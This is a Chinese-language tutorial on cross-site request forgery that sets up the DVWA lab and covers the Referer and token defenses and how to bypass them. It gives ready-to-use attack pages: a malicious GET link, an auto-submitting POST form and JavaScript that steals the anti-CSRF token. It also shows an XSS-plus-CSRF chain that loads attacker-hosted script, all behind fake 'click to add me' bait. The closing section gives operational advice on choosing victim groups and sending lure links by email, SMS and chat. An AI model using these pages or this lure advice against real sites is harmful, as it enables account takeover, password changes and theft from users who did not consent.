CSRF
一、CSRF概述
概述
CSRF (Cross-Site Request Forgery) 跨站请求伪造,也可称为一键式攻击 (one-click-attack),通常缩写为 CSRF 或者 XSRF。
CSRF 攻击是一种挟持用户在当前已登录的浏览器上发送恶意请求的攻击方法。 相对于XSS利用用户对指定网站的信任,CSRF则是利用网站对用户网页浏览器的信任。
攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕过后台的用户验证,达到冒充用户对被攻击的网站执行某项操作的目的。
例如,攻击者在一个社交媒体网站上发送一个链接,要求受害者点击该链接以查看某张照片。然而,该链接实际上是一个伪装的请求,它会向受害者已登录的银行账户发送一条转账请求,而受害者并不知道自己的账户已经被攻击者攻击。
通俗理解
让受害者 点击 构造好的 (url)链接 进行 恶意操作
例如 点击后 给 受害者 改密码
前提:
同一浏览器
登陆状态
点击链接
CSRF攻击类型及原理
攻击者构造出一个后端请求地址,诱导用户点击或者通过某些途径自动发起请求。如果用户是在登录状态下的话,后端就以为是用户在操作,从而进行相应的逻辑。
CSRF前提
1、用户必须登录站点且保持登录状态
2、伪装链接地址,能诱导用户点击链接
3、找到受攻击的用户群体,并把链接发给他。不管用什么方式 钓鱼 邮件 短信
4、用户必须在同一个浏览器上点击你发的链接地址
CSRF攻击类型
主动攻击型
- 受害者访问a.com并在自己浏览器留下a.com的登录态(比如cookie)
- 攻击者诱导受害者访问网站b.com
- 网站b.com植有访问a.com接口的恶意代码(删除/增加/修改等),浏览器请求头中会默认携带a.com网站的cookie
- 受害者点击b.com时候,b.com带着a.com的登陆凭证冒充受害用户执行对a.com的恶意操作
被动攻击型
- 攻击者在a.com发布带有恶意链接的帖子或者评论(提交对a.com带有增删改的诱导型img/form/a标签)
- 当其他拥有登录态的受害者点击该评论的恶意链接冒用受害者登录凭证发起攻击
- CSRF主要是冒用受害者登录凭证发起恶意的增删改并不会窃取受害者隐私信
二、CSRF使用
CSRF攻击方式
GET类型的CSRF
GET类型的CSRF利用非常简单,只需要一个HTTP请求,一般会这样利用
http://www.dlrb.com/news/server/admin/changepasswd.php?password=1&toopassword=1
钓鱼页面 点击发包
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞</title>
<style>
a {
text-decoration: none;
}
</style>
</head>
<body>
<a href="http://www.dlrb.com/news/server/admin/changepasswd.php?password=666888&toopassword=666888">
<img src="img/gf.jpg">
<p>全国科飞,点我加V</p>
</a>
</body>
</html>
在受害者访问含有这个img的页面后,浏览器会自动向www.dlrb.com/news/server…
POST类型的CSRF
这种类型的CSRF利用起来通常使用的是一个自动提交的表单
POST类型攻击特点
- 攻击一般发起在第三方网站,而不是被攻击的网站。被攻击的网站无法防止攻击发生。
- 攻击利用受害者在被攻击网站的登录凭证,冒充受害者提交操作;而不是直接窃取数据。
- 整个过程攻击者并不能获取到受害者的登录凭证,仅仅是“冒用”。
- 跨站请求可以用各种方式:图片URL、超链接、CORS、Form提交等等。部分请求方式可以直接嵌入在第三方论坛、文章中,难以进行追踪。
POST类型的CSRF
Burp抓包
抓到修改密码的请求包
构建poc
post 请求 需要 提交表单 构造攻击页面
诱导 受害者 访问 链接(攻击页面)
攻击页面 自动 向 目标网站 提交 包
攻击页面
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞</title>
<style>
a {
text-decoration: none;
}
</style>
</head>
<body>
<img width="300" src="img/gf.jpg">
<form action="http://www.dlrb.com/news/server/admin/changepasswd.php" method="POST">
<input type="hidden" name="password" value="777" />
<input type="hidden" name="toopassword" value="777" />
<input type="submit" value="全国可飞,点我加V" />
// 以上是手动提交 以下是自动提交
<input type="hidden" name="Change" value="Change" />
<script>document.forms[0].submit();</script>
//submit 函数 会和 name="submit" 有冲突 可能会报错 解决方法:
//<script>document.querySelector("submit按钮选择器").click()</script> 可以模拟自动点击
//document.getElementById('submitButton').click();
</form>
</body>
</html>
访问该页面后,表单会自动提交或者手动点击提交,相当于模拟用户完成了一次POST操作。
POST类型的攻击通常比GET要求更加严格一点,但仍并不复杂。任何个人网站、博客,被黑客上传页面的网站都有可能是发起攻击的来源,后端接口不能将安全寄托在仅允许POST上面
三、XSS与CSRF区别
CSRF与XSS的区别
- 信任方向不一致。XSS是利用用户对服务器的信任,而CSRF是利用服务器对用户的信任,伪装了用户的身份来发送一个合法的请求。
- 代码存放的位置不一致,XSS的恶意代码是保存在目标服务器中,但是恶意代码是在用户的浏览器端运行。因此XSS攻击的是用户使用的浏览器。CSRF的代码是存储在攻击者服务器中,而代码攻击的目标是目标站点的服务器。
- 结果不同,XSS是获取用户的一些信息(cookie)或者控制用户的浏览器。CSRF是更新、删除、修改用户的一些敏感信息、业务信息。
CSRF应用场景举例
- 修改用户收货地址,用户A在电商系统里下单了,并且支付了,但是想修改收货地址。这时攻击者小黑给他发了一个CSRF的伪装链接,这个链接的作用就是修改用户的收货地址。用户A点击该链接,攻击完成。最终攻击者小黑收到了用户A购买的商品。
- 转帐功能,用户A在支付宝中有一笔具款。攻击者小黑伪造了一个具备转换功能的链接。用户A点击该链接后,攻击完成。最终攻击者小黑收到了用户A的具款转帐。
四、CSRF防御与绕过
DVWA靶场部署
1. 修改配置文件名称
DVWA/config/config.inc.php.dist 修改为 DVWA/config/config.inc.php
2. 修改数据库账号密码 DVWA/config/config.inc.php
$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwa';
$_DVWA[ 'db_user' ] = 'root';
$_DVWA[ 'db_password' ] = '666888';
3. 访问 Dwva http://<IP>/DVWA/
4. 修改配置文件 /lampp/etc/php.ini
4.1 894 allow_url_fopen=Off 修改为 894 allow_url_fopen=On
4.2 898 allow_url_include=Off 修改为 898 allow_url_include=On
4.3 重启 lampp
5. 授权 写入权限
chmod a+w /opt/lampp/htdocs/DVWA/hackable/uploads/
chmod -R a+w /opt/lampp/htdocs/DVWA/external/phpids/0.6/lib/IDS/tmp
chmod a+w /opt/lampp/htdocs/DVWA/config
6. 创建数据库 点击 Create / Reset Database
7. 登录dvwa http://<IP>/DVWA/login.php
admin / password
8. 修改安全 等级DVWA Security
low 低
medium 中
high 高
impossible 不可能的
需要提交
中级防御
HTTP_REFERER 记录来源的网站
从哪里跳转来的
if (isset($_SERVER["HTTP_REFERER"]) and @$_SERVER["SERVER_NAME"] != "null" and $_SERVER["SERVER_NAME"] =="www.dlrb.com" and @$_SERVER["HTTP_ORIGIN"] != "null" and $_SERVER["HTTP_ORIGIN"] == "http://www.dlrb.com"){
$sql = "update admin set passwd = '$password' where user = '$user'";
$db = new DB();
$result = $db->update($sql);
if($result){
echo "修改成功";
}else {
echo "修改失败";
}
}else{
echo "修改异常,你已经被检测轻点整事";
}
绕过
攻击者在制人和伪装页面时,故意将页面的名称命名为包含目标站点的域名地址
改头部 HTTP_REFERER 等 发包请求头配置
高级防御
高级防御是通过token机制来确保用户的请求是唯一的。从而来预防CSRF攻击。那么什么是token。
token通常是指一个用于身份验证和授权的凭证。在网络通信中,令牌可以是一个特殊的字符串或加密的数据,用于证明用户的身份或访问权限。
高级绕过
拿到页面生成的令牌,作为修改密码的凭证,注意我们没讲跨域问题,暂时先将girl.html放在被攻击页面相同服务器
该错误的原因是由于浏览器的安全策略导致。所有浏览器厂商都约定了一个规则叫跨域请求限制规则
何为跨域
跨域是浏览器受同源(协议、域名、端口)策略的限制,不允许不同源的站点之间进行某些操作(如发送ajax请求,操作dom,读取cookie),如果不进行特殊配置是不能操作成功的,并且控制台会报如下跨域错误:No ‘Access-Control-Allow-Origin’ header is present on the requested resource. Origin ‘xxxxxx’ is therefore not allowed access
绕过代码
攻击者 页面
发送ajax 向目标页面 获取页面token
用js location 向目标 页面 发送恶意请求包 携带token
两次发包
第一次获得token
第二次 发送操作包
不同 协议 子域名 主域名 端口 之间 发包会存在跨域问题
这里涉及ajax跨域
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>全国可飞</title>
<style>
a {
text-decoration: none;
}
</style>
</head>
<body>
<img src="img/gf.jpg">
<input type="button" class="button" value="全国可飞,点我加V" />
</body>
<script>
let xhr = new XMLHttpRequest()
let user_token = ""
xhr.open("get","http://www.dlrb.com/DVWA/vulnerabilities/csrf/")
xhr.send()
xhr.onreadystatechange = function(resp){
if(xhr.readyState == 4 && xhr.status == 200){
let pattern = /name='user_token' value='(.*?)\'/
user_token = xhr.responseText.match(pattern)[1]
}
}
let button = document.querySelector(".button")
button.onclick = function(){
console.log(123);
location = "http://www.dlrb.com/DVWA/vulnerabilities/csrf/?password_new=5656&password_conf=5656&Change=Change&user_token=" + user_token
}
</script>
</html>
交叉漏洞绕过CSRF高级防御(跨域)
XSS存储型 +CSRF
利用步骤
1.攻击者服务器 创建 js服务器 ,包含修改密码请求
<script>
let xhr = new XMLHttpRequest()
let user_token = ""
xhr.open("get","http://www.dlrb.com/DVWA/vulnerabilities/csrf/")
xhr.send()
xhr.onreadystatechange = function(resp){
if(xhr.readyState == 4 && xhr.status == 200){
let pattern = /name='user_token' value='(.*?)\'/
user_token = xhr.responseText.match(pattern)[1]
}
}
let button = document.querySelector(".button")
button.onclick = function(){
console.log(123);
location = "http://www.dlrb.com/DVWA/vulnerabilities/csrf/?password_new=5656&password_conf=5656&Change=Change&user_token=" + user_token
}
</script>
将 hook.js函数 引入到 目标主机 xss攻击
将payload 嵌入到目标服务器
通过XSS 将 js 代码中 包含csrf请求操作 嵌入 到目标服务器
<script src="xxx/js"></script> #引入攻击者js
<a href="javascript:attack()"> #点击时 调用攻击函数
<image src="......png">
<p>全国可飞,点我加V</p>
</a>
五、CSRF总结
如何找到xss和csrf漏洞
XSS寻找方式
白盒测试:直接在源码中搜到input
黑盒测试:打开页面寻找页中可以输入的点位
CSRF寻找方式
白盒测试:找一些update,add,del的页面。查看更新操作是否对用户的REFERER属性进行限制。具备XSS漏洞的站点一定有CSRF的漏洞。token
黑盒测试:在目标系统中,找到更新,删除,新增
确定攻击的人群
目标人群跟你你本次要攻击的任务或目的产生。xss和csrf在攻击之前都要构造链接地址发送给受害者,因此需要确定目标人群在哪,在目标系统中找到一些更新,删除,新增系的操作
如何将伪造的链接地址发给受害者
在发送链接之前,得先认识该用户,除非广撒网。
- 邮件
- QQ,微信等其它聊天工具,不能在原聊天中打开,去浏览器打开
- 广告
- 短信
如何选择三种XSS类型
优先使用存储型,然后再使用反射性,最后dom,因为反射性和dom型它的效果只有一次
CSRF完成攻击的前置工作
1.必须使用目标系统,找到目标系统中一些有更新,删除,新增系的操作,并记录下该操作的请求地址
2.修改第一步找到请求参数完成伪造链接
3.构造伪装链接,如果是post请求则必须构造一个伪装页面或是利用XSS漏洞完成伪装
4.等待鱼儿上钩
5.XSS+CSRF 联合不用值守XSS有线上通知 CSRF修改密码或者新增用户,接到通知,进一步利用